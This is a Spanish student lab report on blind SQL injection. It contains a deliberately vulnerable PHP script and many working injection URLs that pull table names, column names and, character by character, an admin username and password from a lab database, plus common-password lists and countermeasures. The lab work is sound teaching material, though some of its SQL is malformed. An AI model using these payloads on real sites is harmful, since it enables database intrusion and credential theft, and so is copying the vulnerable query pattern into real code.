prÁctica sql injection

23
PRÁCTICA SQL INJECTION 2011 Alumnos: Javier García Cambronel y Eduardo Bayón Cascajo SEGUNO DE ASIR 24/11/2011

Upload: javierasir2012

Post on 30-Oct-2014

286 views

Category:

Documents


4 download

DESCRIPTION

2011PRÁCTICA SQL INJECTIONAlumnos: Javier García Cambronel y Eduardo Bayón Cascajo SEGUNO DE ASIR 24/11/2011[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011BLIND SQL INJECTIONINTRODUCCIÓN Y PREPARACIÓN PARA LA PRÁCTICACREANDO LA BASE DE DATOS EN MODO GRÁFICO CREANDO LA BASE DE DATOS EN MODO COMANDO SCRIPT PHP VULNERABLECOMPROBANDO LA VULNERABILIDADEN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS ¿CUANTOS REGISTROS TIENE ESTA TABLA?¿CUALES SON LOS CAMPOS QUE CONTIENE LA TABLA USUARI

TRANSCRIPT

Page 1: PRÁCTICA SQL INJECTION

PRÁCTICA SQL INJECTION

2011

Alumnos: Javier García Cambronel y Eduardo Bayón Cascajo SEGUNO DE ASIR

24/11/2011

Page 2: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 1

BLIND SQL INJECTION

INTRODUCCIÓN Y PREPARACIÓN PARA LA PRÁCTICA

CREANDO LA BASE DE DATOS EN MODO GRÁFICO

CREANDO LA BASE DE DATOS EN MODO COMANDO

SCRIPT PHP VULNERABLE

COMPROBANDO LA VULNERABILIDAD EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS ¿CUANTOS REGISTROS TIENE ESTA TABLA?

¿CUALES SON LOS CAMPOS QUE CONTIENE LA TABLA USUARIOS? BUSCANDO EL CAMPO CON LOS NOMBRES DE LOS USUARIOS BUSCANDO EL CAMPO CON LAS CONTRASEÑAS EN BUSCA DEL CAMPO DE IDENTIFICACIÓN

INFORMACIÓN DENTRO DE LOS CAMPOS EN BUSCA DE LA CUENTA DE ADMINISTRADOR EN BUSCA DE LAS CONTRASEÑAS ADIVINANDO LAS CONTRASEÑAS CONTRASEÑAS DE ADMINISTRADOR QUE HAY QUE EVITAR

CONTRAMEDIDAS CONTRAMEDIDA1 CONTRAMEDIDA2

Page 3: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 2

BLIND SQL INJECTION

Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque

que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de

seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una

consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay

respuesta si el resultado es correcto).

Sentencias condicionales con el tipo "Or 1=1" o "having 1=1" ofrecen respuestas siempre

correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como

formas de comprobación. El problema para la seguridad de la página radica en que esta

técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda,

carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o

cualquier otra información que albergue la base de datos atacada; para ello se utiliza código

SQL específico que "va probando" cada carácter consiguiendo un resultado positivo

acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que

una contraseña comienza por "F...", luego continúa con ".i...", y luego "..r...", etc (acumula

Fir...), hasta dar con la palabra completa.

Existen programas que automatizan este proceso de "tanteos" letra por letra en el resultado

de la consulta SQL, que un intruso podría enviar inyectado.

Definición Wikipedia

Page 4: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 3

INTRODUCCIÓN Y PREPARACIÓN PARA LA PRÁCTICA

Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una

base de datos y crear un fichero en PHP que realice una consulta con la Base de datos

vulnerable.

Lo primero que tenemos que hacer es instalar Montar un servidor Web (Apache, IIS…)

Instalar PHP y por último instalar Mysql.

Nosotros hemos optado por instalar Xammp un Servidor WEB que contiene ya todo ello

configurado de forma óptima para realizar estas prácticas.

CREANDO LA BASE DE DATOS EN MODO GRÁFICO

Una vez que hemos realizado esto, procedemos a crear la base de datos, lo podemos hacer

en modo comando, el más recomendado.

O utilizar el modo gráfico como he hecho para comprobar su funcionamiento.

Entramos en la Interfaz, le damos a crear una base de datos, ponemos el nombre de la base

de datos, en nuestro caso la hemos llamado práctica una vez hecho esto seleccionamos crear

una tabla y ponemos el número de campos de los que va a constar, como podemos ver en la

imagen de abajo:

Page 5: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 4

Una vez que hemos hecho esto, lo que tenemos que hacer, es seleccionar todas las

características de los campos de nuestra tabla y el motor de almacenamiento como podemos

ver la Tabla va a estar formada con tres campos

Nombre, Password Y Id

Cada uno con sus características propias

Una vez la tenemos configurada, le damos a guardar y veríamos un resumen de las

operaciones que se han llevado a cabo, o lo que es lo mismo, los comandos que tendríamos

que introducir si hubiéramos optado por el modo texto y/o modo comando

Vamos introduciendo los valores dentro de la tabla.

Y por cada valor introducido nos sale un pequeño el resumen en modo comando de lo que se

acaba de llevar a cabo.

Page 6: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 5

CREANDO LA BASE DE DATOS EN MODO COMANDO

create database practica;

Indicamos la base de datos que queremos utilizar:

use practica;

Y a continuación creamos la tabla con los campos nombre, password e id y sus

características:

Créate table `practica’,’usuarios’ (

‘nombre’ VARCHAR ( 50 ) NOT NULL ,

‘password’ VARCHAR ( 50 ) NOT NULL,

‘id’ INT ( 10 ) NOT NULL AUTO_INCREMENT PRIMARY KEY

) ENGINE = MYISAM CHARACTER SET latin1 COLLATE latin1;

Y rellenamos la tabla introduciendo los usuarios que queramos siguiendo este esquema:

insert into `usuarios` values (1, 'root','adm');

insert into `usuarios` values (2, 'javier','123456');

insert into `usuarios` values (3, 'ivan','estrella');

insert into `usuarios` values (4, 'julian','1aB');

Page 7: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 6

SCRIPT PHP VULNERABLE

Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un

Blind SQL Injection.

<?php

$host = 'localhost';

$dbuser = 'root';

$dbpass = 'mysql';

$dbname = 'blindsql';

$db = mysql_connect($host, $dbuser, $dbpass);

mysql_select_db($dbname,$db);

$sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];

$query = mysql_query($sql);

if(@mysql_num_rows($query)==0){

die('Error...! :(');

}

$result=@mysql_fetch_row($query);

echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>";

echo "<font color='#FF0000'>id: </font>".$result[0]."<br>";

echo "<font color='#FF0000'>Nombre: </font>".$result[1]."<br>";

// echo "Contraseña: ".$result[2]."<br>";

echo "</h2></center>";

die();?>

Page 8: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 7

COMPROBANDO LA VULNERABILIDAD Para saber si un servidor es vulnerable o no lo primero que debemos hacer Es añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado. http://192.168.1.35 /ejercicios/MySQL/SQL_Injection.php?id=1 and 1=1

Comprobemos que pasa si añadimos un valor falso: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 and 1=0

Ahora lo que podemos hacer es jugar con esto, la pregunta es ¿Cómo? Ahora podemos hacer consultas al servidor acerca de la base de datos teniendo en cuenta que cuando las respuestas sean falsas nos saldrá error y cuando sean verdaderas nos quedaremos en la misma página. Una cosa a tener en cuenta es que las preguntas que podemos hacerle al servidor solo pueden obtener una respuesta que sea VERDADERO O FALSO Una cosa importante es que el servidor contestara con error tanto si la consulta es falsa como si nosotros indicamos una consulta errónea asique hay que tener en cuenta la sintaxis de las consultas, para que estas sean correctas.

Page 9: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 8

EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS Nos hemos propuesto conocer el nombre de una tabla que es la que contiene todos los usuarios de esta base de datos probamos los posibles nombres que pueden tener las tablas que contienen los usuarios, es decir cuáles son las más habituales y entonces probaríamos con estas, con la primera tabla que probamos es con la tabla users… http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM users); http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM alumnos); http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM propietarios);

http://192.168.13.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

Page 10: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 9

¿CUANTOS REGISTROS TIENE ESTA TABLA? Para adivinar el número de registros que tiene la tabla, vamos a seguir utilizando la Función COUNT: Lo primero que comprobamos es si hay más de 10 registros en esa tabla http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) > 10; Después comprobamos si en número es mayor a cuatro: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) > 4;

Y seguiremos acercándonos hasta que finalmente demos con el número correcto de registros, que se tendrá que comprobar con una igualdad en este caso: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) = 4;

Page 11: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 10

¿CUALES SON LOS CAMPOS QUE CONTIENE LA TABLA USUARIOS?

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Cont(nombres) FROM usuarios) En este ejemplo, podemos comprobar la importancia de la sintaxis, pues aquí comernos una simple letra, da al traste con el resultado, pudiéndonos hacer creer que ese campo no está presente en esa tabla aunque fuera que sí.

BUSCANDO EL CAMPO CON LOS NOMBRES DE LOS USUARIOS

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(usuario) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(usuario) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombres) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombre) FROM usuarios)

Page 12: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 11

BUSCANDO EL CAMPO CON LAS CONTRASEÑAS http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(contraseña) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(clave) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(numero_secreto) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(password) FROM usuarios)

Page 13: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 12

EN BUSCA DEL CAMPO DE IDENTIFICACIÓN http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(dni) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nif) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(numid) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(id) FROM usuarios)

Esto nos devolverá valores VERDADEROS.

Page 14: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 13

INFORMACIÓN DENTRO DE LOS CAMPOS

ADIVINANDO EL NOMBRE DE USUARIO Lo primero que debemos hacer ya que estamos haciendo un ataque a ciegas, es pensar un poco con esto, nos daremos cuenta que en muchísimos casos nuestro nombre, coincide con nuestro nombre de usuario entonces, teniendo en cuenta esto, tenemos que pensar ¿sobre qué edad tienen esos usuarios en la base de datos? Yo me he centrado en que esta “base de datos ficticia contiene nombres de alumnos de nuestra clase” entonces me he metido en el instituto nacional de Estadística http://www.ine.es/daco/daco42/nombyapel/nombyapel.htm y con esta información, la cual es pública, tendríamos en principio mucho hecho.

Page 15: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 14

Seleccionamos nombres de nacimiento por fecha de nacimiento y provincia de nacimiento,

pues no serían los mismos resultados en el caso de que nuestra base de datos fuera por

poner un ejemplo del País Vasco.

Una vez hecho esto pensamos ¿que edad tendrán mas o menos nuestros “objetivos”? partiendo de la base de que son estudiantes. He pensado que habrán nacido entre la decada de los 80 y/o los 90 y……Bueno, dicen que una imagen vale más que mil palabras aquí la dejo abajo centrada en nuestra clase.

Entonces gracias a nuestra investigación podemos probar con algo más específico y hacer una consulta con nombres completos o ir orientándonos viendo que la j es una letra que se repite mucho… y más factores que podemos darnos cuenta con esta tabla, como también sin mirar a ella y pensar que si la primera letra es una vocal, seguramente este seguida de una consonante…

Page 16: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 15

Para estas operaciones nos ayudaremos de la tabla ASCII

EN BUSCA DE LA CUENTA DE ADMINISTRADOR

Lo primero que tendríamos que hacer es poder ver si la cuenta de Administrador está habilitada con ese nombre o parecidos, como el de Adminitrador, Admin, Administrator, Root. Como sabemos que son 4 usuarios los que hay registrados, uno de ellos tiene que ser el administrador y como los nombres más lógicos para Administrador empiezan por A lo intentamos así la ventaja seria que con derechos de Administrador podríamos hacer todo lo que quisiéramos en la base de datos, y lo peor que nos puede pasar es descubrir otro usuario que empiece por la letra a. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))=97 ; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=2),1,1))=65; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=3),1,1))=97; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=4),1,1))=65; No ha sido fructífero en ninguno de los casos.

IMPORTANTE: Empezamos comprobando tanto la A mayúscula como también la minúscula 97 y 65. Si buscamos usuarios mejor empezar también utilizando el símbolo mayor y menor en vez de igual para ir descartando opciones

Page 17: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 16

Entonces empezamos a hacer lo mismo con la r de root y vemos COMPROBANDO SI ES MAYÚSCULA http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))=82;

COMPROBANDO SI ES MINÚSCULA http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))= 114

Procederíamos con las siguientes letras y veríamos que el usuario tiene el nombre de root COMPROBANDO SEGUNDO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),2,1))= 111 COMPROBANDO TERCER CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),3,1))= 111 COMPROBANDO CUARTO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),4,1))= 116

Marcado en rojo posición y letra buscada.

Con esto, ya sabemos el nombre de usuario y la ID de la

cuenta de Administrador que es:

NOMBRE: ROOT

ID: 1

Page 18: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 17

EN BUSCA DE LAS CONTRASEÑAS Lo que más podría interesarnos ahora es sacar información de los password y/o contraseñas de los usuarios de una base de datos vulnerables, y todavía más si conseguimos la contraseña de administrador. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT length(password) FROM usuarios where id=1) > 6 Esto nos devuelve FALSO. El password tiene una longitud menor que seis.

Seguimos probando hasta que damos con la cantidad exacta, en este caso cinco como podemos ver en la imagen de abajo: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT length(password) FROM usuarios where id=1) = 5

También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del nombre de usuario o cualquier otro campo que existiera en la tabla, solo tendríamos que modificar la sentencia anterior e ir jugando como hemos hecho anteriormente con el id que quisiéramos adivinar y también con su longitud hasta que diéramos con la correcta el esquema sería una cosa así: AND (SELECT length(NOMBRE_DEL_CAMPO) FROM usuarios where id=NÚMEROID) > LÓNGITUD

Page 19: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 18

ADIVINANDO LAS CONTRASEÑAS

Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING. Y lo mismo que con los nombres podríamos hacer con las contraseñas buscando las más usadas teniendo en cuenta este artículo por ejemplo. Al que podréis ir directamente pulsando el enlace de abajo:

Contraseñas más usadas

Según informa Wired, Bogdan Calin, de la web Acunetix, grabó una lista de passwords antes de que desapareciera. En su análisis de los 10.000 usuarios revela que la contraseña más común (aparece en la lista en 64 ocasiones) es realmente muy fácil de recordar: 123456. El ranking de contraseñas más utilizadas seria este, en el caso de que buscásemos usuarios:

Nosotros buscamos la contraseña de Administrador asique vemos cuales son las más utilizadas de este tipo en este otro artículo, hay mucha información en internet que podemos encontrar al respecto.

“daniel”

“000000″

“roberto”

“654321″

“bonita”

“sebastian”

“beatriz”

“mariposa”

“america”

“123456″,

“123456789″

“alejandra”

“111111″

“alberto”

“tequiero”

“alejandro”

“12345678″

“1234567″

“estrella”

“iloveyou”

Page 20: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 19

CONTRASEÑAS DE ADMINISTRADOR QUE HAY QUE EVITAR Los servidores siguen siendo los blancos preferidos por los piratas informáticos hoy en día, aparte de engañar usuarios o infectar máquinas. ¿Cuántos servidores aún tienen una contraseña sencilla o de origen? Los usuarios crean contraseñas para proteger sus sistemas y los delincuentes digitales tratan de adivinarlo para su provecho. Investigadores de la Universidad de Maryland, completaron un estudio usando como carnada 4 servidores Linux abiertos, para ver la frecuencia de los ataques. El resultado fueron 269,262 intentos en un periodo de 24 días. Durante ese tiempo solo 824 intentos fueron exitosos, obteniendo el atacante el nombre de usuario y contraseña del servidor. Esto significa que unas 10 veces al día el servidor fue accedido ilegalmente. Los servidores eran anónimos, colocados en un Centro de Datos de la Universidad, sin información importante. De haberse usado el nombre de una institución financiera o un departamento gubernamental, las estadísticas tendrían valores mucho más altos. Entre las 10 contraseñas más usadas y fácilmente deducibles se encuentran: 1. (nombre de usuario) 2. (nombre de usuario)123 3. admin 4. password 5. 1234 6. 12345 7. passwd 8. 123 9. test 10.Abc123 Entonces lo primero que probaríamos seria con una r de root otra vez tanto en mayúscula como en minúscula. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),1,1))= 114 Viendo que no tenemos resultado de ninguna de las dos. Seguimos probando con la lista Y probamos con la a, vemos que sí que es correcto y empieza por a. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),1,1))= 97

Page 21: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 20

Entonces seguimos probando con las demás letras de la palabra, contraseña admin

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))= 100 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),3,1))= 109 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),4,1))= 105 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),5,1))= 110 Ahora que tenemos la cuenta de usuario y la contraseña lo comprobamos completamente. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1%20AND%20(SELECT%20count(*)%20FROM%20usuarios%20where%20nombre='root'%20AND%20password='admin');

Page 22: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 21

CONTRAMEDIDAS

CONTRAMEDIDA1

Una posible contramedida sería usar las funciones sprintf y mysql_real_escape_string. Si las

aplicamos a nuestra consulta, quedaría así:

$sql = sprintf("SELECT * FROM usuarios WHERE

id=\'%d\'",mysql_real_escape_string($_GET["id"]));

De este modo con sprintf damos formato a nuestra sentencia asignando el espacio justo para

los parámetros a recoger (%d para un número, %s para una cadena, etc) y con

mysql_real_escape_string escapamos caracteres especiales y antepone backslashes a los

siguientes caracteres: \x00, \n, \r, \, ', " y \x1a:

Page 23: PRÁCTICA SQL INJECTION

[PRÁCTICA SQL INJECTION] 24 de noviembre de 2011

S E G U N D O D E A S I R

Página 22

Por lo que la respuesta que enviaremos a una inyección SQL será siempre la de que no existe

ese usuario

CONTRAMEDIDA2

Menos efectiva que la primera solo filtra caracteres que no sean numéricos pero con estos como hemos visto en este trabajo se pueden hacer muchísimas consultas. Modificamos con esto: $id = $_GET['id']; $id = strip_tags($id); $id = stripslashes($id); $sql = "SELECT * FROM usuarios WHERE id=". mysql_escape_string ($id);